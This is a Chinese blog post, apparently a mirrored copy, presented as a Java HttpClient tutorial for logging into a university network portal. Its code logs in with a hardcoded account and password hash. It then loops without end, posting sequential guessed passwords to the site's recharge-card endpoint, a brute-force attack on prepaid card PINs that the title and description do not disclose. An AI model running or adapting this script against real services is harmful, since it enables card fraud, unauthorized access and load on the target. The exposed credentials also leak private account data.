zoukankan      html  css  js  c++  java
  • Java采用HttpClient对于Web登录

    http://e.neusoft.edu.cn/nav_login

    模拟浏览器登录该网站上方。登录server基于验证码、refer和cookie保护,此代码html档。

    import java.io.BufferedReader;
    import java.io.IOException;
    import java.io.InputStream;
    import java.io.InputStreamReader;
    import java.util.ArrayList;
    import java.util.List;
    import java.util.Scanner;
    
    import org.apache.http.Header;
    import org.apache.http.HttpEntity;
    import org.apache.http.HttpResponse;
    import org.apache.http.NameValuePair;
    import org.apache.http.client.ClientProtocolException;
    import org.apache.http.client.HttpClient;
    import org.apache.http.client.entity.UrlEncodedFormEntity;
    import org.apache.http.client.methods.HttpGet;
    import org.apache.http.client.methods.HttpPost;
    import org.apache.http.impl.client.DefaultHttpClient;
    import org.apache.http.message.BasicNameValuePair;
    import org.apache.http.protocol.HTTP;
    import org.apache.http.util.EntityUtils;
    public class HttpRequst {
    	public static void main(String strings[]) 
    	{
    	    HttpClient httpclient = new DefaultHttpClient();
    	    try
    	    {
    	    	HttpGet getMethod=new HttpGet("http://e.neusoft.edu.cn/nav_login");
    	    	getMethod.setHeader("User-Agent", "Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; WOW64; Trident/5.0)");
    	    	HttpResponse response=httpclient.execute(getMethod);
    	    	Header arrHeaders[]=response.getAllHeaders();
    	    	EntityUtils.consume(response.getEntity());
    
    	    	getMethod=new HttpGet("http://e.neusoft.edu.cn/RandomCodeAction.action?

    randomNum=0.9179729035059037"); getMethod.setHeader("User-Agent", "Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; WOW64; Trident/5.0)"); response=httpclient.execute(getMethod); EntityUtils.consume(response.getEntity()); String checkcode=""; Scanner scan=new Scanner(System.in); checkcode=scan.next(); HttpPost postMethod=new HttpPost("http://e.neusoft.edu.cn/LoginAction.action"); postMethod.setHeader("User-Agent", "Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; WOW64; Trident/5.0)"); postMethod.setHeader("Referer", "http://e.neusoft.edu.cn/nav_login"); List<NameValuePair> params=new ArrayList<NameValuePair>(); params.add(new BasicNameValuePair("account","13354284438")); params.add(new BasicNameValuePair("password","c11d5abf846db275243d94b8472706d4")); params.add(new BasicNameValuePair("code","")); params.add(new BasicNameValuePair("checkcode",checkcode)); params.add(new BasicNameValuePair("Submit","Login")); //加入參数 postMethod.setEntity(new UrlEncodedFormEntity(params,HTTP.UTF_8)); //postMethod.setHeaders(arrHeaders); response=httpclient.execute(postMethod); EntityUtils.consume(response.getEntity()); class PostThread implements Runnable { private HttpClient myclient=null; private int num=23453234; public PostThread(HttpClient client) { myclient=client; } @Override public void run() { // TODO Auto-generated method stub while(true) { HttpPost postMethod=new HttpPost("http://e.neusoft.edu.cn/rechargecard.action"); postMethod.setHeader("User-Agent", "Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; WOW64; Trident/5.0)"); postMethod.setHeader("Referer", "http://e.neusoft.edu.cn/nav_Rcard"); List<NameValuePair> params=new ArrayList<NameValuePair>(); params.add(new BasicNameValuePair("cardName","046uijalz101480")); params.add(new BasicNameValuePair("cardPsw",""+num++)); params.add(new BasicNameValuePair("Submit","提 交")); HttpResponse response; try { postMethod.setEntity(new UrlEncodedFormEntity(params,HTTP.UTF_8)); response = myclient.execute(postMethod); EntityUtils.consume(response.getEntity()); } catch (ClientProtocolException e) { // TODO Auto-generated catch block e.printStackTrace(); } catch (IOException e) { // TODO Auto-generated catch block e.printStackTrace(); } } } }; PostThread mPostThread=new PostThread(httpclient); mPostThread.run(); } catch (IOException e) { } finally { } } }



    版权声明:本文博主原创文章。博客,未经同意不得转载。

  • 相关阅读:
    PAT Basic 1077 互评成绩计算 (20 分)
    PAT Basic 1055 集体照 (25 分)
    PAT Basic 1059 C语言竞赛 (20 分)
    PAT Basic 1072 开学寄语 (20 分)
    PAT Basic 1049 数列的片段和 (20 分)
    蓝桥杯BASIC-13 数列排序
    蓝桥杯入门——3.序列求和
    蓝桥杯入门——2.圆的面积
    蓝桥杯入门——1.Fibonacci数列
    树的总结(遍历,BST,AVL原型,堆,练习题)
  • 原文地址:https://www.cnblogs.com/blfshiye/p/4826089.html
Copyright © 2011-2022 走看看